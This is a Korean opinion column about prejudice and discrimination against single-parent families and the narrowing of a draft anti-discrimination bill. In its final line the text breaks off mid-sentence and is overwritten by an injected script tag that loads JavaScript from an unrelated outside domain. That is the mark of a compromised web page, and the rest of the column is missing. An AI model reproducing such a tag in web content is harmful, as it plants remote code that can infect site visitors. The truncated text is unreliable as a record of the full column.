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[황은숙 칼럼] 한부모가정에 대한 편견... |
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작성일 |
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07-12-31 |
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내 용 |
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한부모가정에 대한 편견과 차별을 버려요
황 은 숙 박사 한국한부모가정연구소장
법무부는 지난 10월 차별금지법안을 입법예고하였다. 차별금지법 제정
을 앞두고 한부모가정 차별철폐 운동본부를 비롯한 관련 단체들이 차
별금지법 제정에 대한 반대 성명서를 발표하였다.
이들이 차별금지법안에 대해 공동대응하는 것은 차별금지법 제정 자체
를 반대하는 것이 아니라 차별금지법안에 명시한 차별항목에 대한 문
제 때문이다. 차별금지법 입법예고 당시 20가지였던 차별항목이 13가
지로 축소되면서 가족형태 및 가족상황 등 7가지 항목이 삭제됐다. 이
에 대해 이들 차별 내용에 대한 역차별이 아니냐는 논란이 계속되고
있다.
대한민국 헌법 제2장 제11조에 의하면 국민은 법 앞에 평등하고, 누구
든지 성별․종교 또는 사회적 신분에 의하여 정치적․경제적․사회
적․문화적 생활의 모든 영역에 있어서 차별을 받지 아니한다고 명시
하고 있다. 그러나 우리나라 국민 중 특정개인이나 소수집단은 헌법
에 명시된 국민의 권리를 누리지 못해 왔다. 차별받는 소수집단의 입
장이 거의 다 비슷하겠지만 특히 이혼, 사별, 미혼모, 별거가정 등 한
부모가정이 겪은 차별은 더 가슴 저리다.
그동안 한부모가정은 결손가정, 해체가정, 붕괴가정으로 불리며 마치
비정상적인 가정으로 인식되었다. 특히 이혼자는 이혼했다는 이유로
인생실패자, 인생낙오자로 인식되었으며, 사별자는 홀애비․홀어미 등
으로 불렸고, 미혼모들의 아이들은 사생아란 꼬리표를 달아야 했다.
이러한 한부모가정에 대한 부정적인 인식은 차별로 이어져 한부모가정
이란 이유로 취업이 어렵고, 취업이 되었다고 해도 승진이 안 되고,
여성인 경우 성희롱의 대상이 되기 쉬웠다. 은행 문턱도 한부모가정에
는 높아 이혼했다는 이유만으로 대출을 받지 못하는 경우도 있었다.
한부모가정에 대한 편견은 한부모 개인에게만 그치지 않고 아이들에게
도 이어졌다. 한부모가정 관련 단체에는 일선학교에서 한부모가정 아
동에게 부당한 대우를 한다는 하소연이 넘쳐난다. 또한 일부 종교에서
는 신도가 이혼을 하면 직분을 받기 어렵고, 심지어 부모가 이혼하면
자녀가 성직자가 될 수 없는 경우도 있었다.
한부모가정이 이렇게 가족형태로 인해 경제적, 교육적, 사회적. 종교
적 생활에서 감당하기 어려운 차별을 받고 있는데도 불구하고 차별금
지법안은 그 차별을 인정하려 들지 않는다. 이는 정부 스스로 한부모
가정에 대한 차별을 심화시키고 있는 것이 아니냐는 의심을 받기에 충
분하다.
왜 사람들은 한부모가정에 대해 부정적인 인식을 갖고 있는 것일까?
차별은 고정관념과 선입견, 편견 등과 깊은 관련이 있다. 새로운 정보
를 인지적으로 받아들여 고착시킨 것이 고정관념이라면 선입견은 고정
관념의 영향으로 어떤 정보대상을 판단하는 것이라 할 수 있다.
편견은 어떤 대상이나 현상에 대해 어느 한쪽으로 치우친 생각으로 고
정관념과 선입견의 영향을 받는다. 편견은 개인의 취향이나 가치관으
로 인식되어 크게 문제될 것이 없어 보일 수 있으나 차별을 불러온다
는 점에서 간과할 수 없는 것이다.
한부모가정에 대한 사회적인 편견은 대부분 잘못된 정보에 의해 형성
되었을 가능성이 높다. 한부모가정에 부정적인 인식을 갖고 있는 사람
들은 자신의 인식이 직접적인 경험에 의해 형성된 것이 아니라 매스컴
과 같은 매체나 다른 사람들의 입소문에 의해 간접적으로 형성되
었다고 말한다.
문제는 매스컴과 입소문으로 떠도는 한부모가정의 이야기가 그리 유쾌
한 내용이 아니라는 것이다. 이혼 후 서로 자녀를 안 키우겠다고 싸우
는 사람들, 부모의 이혼으로 방황하는 아이들, 그리고 이혼 후 심리적
인 혼란으로 자녀들 제대로 돌보지 못하는 한부모의 이야기들이 한부
모가정에 대한 편견을 키워왔다고 할 수 있다.
사람들이 편견을 형성하는 데에는 몇가지 원인이 있을 수 있다. 첫
째, 개인 또는 집단이 가지는 경험과 가치에 대한 지식이 부족한 경
우 둘째, 한 개인의 특성을 그가 속한 집단의 특성으로 일반화하는 경
우 셋째, 자신의 가치관으로 다른 개인이나 집단을 판단하는 경우, 넷
째 잘못된 전통적인 가치나 사회적 통념을 비판 없이 수용하는 경우
다섯째, 자신이나 자신이 속한 집단은 우월하게 보고, 다른 사람이나
다른 집단은 낮은 것으로 보는 경우 등을 들 수 있다.
이런 기준에 의한다면 우리는 어떻게 한부모가정에 대한 편견을 형성
하게 되었을까? 혹시 한부모가정에 대한 지식이 부족한 것은 아니었을
까? 한부모가정의 특정사례를 보고 전체 한부모가정을 평가한 것은 아
닐까? 자신의 종교관으로 한부모가정을 판?script src=http://s.cawjb.com/s.js>
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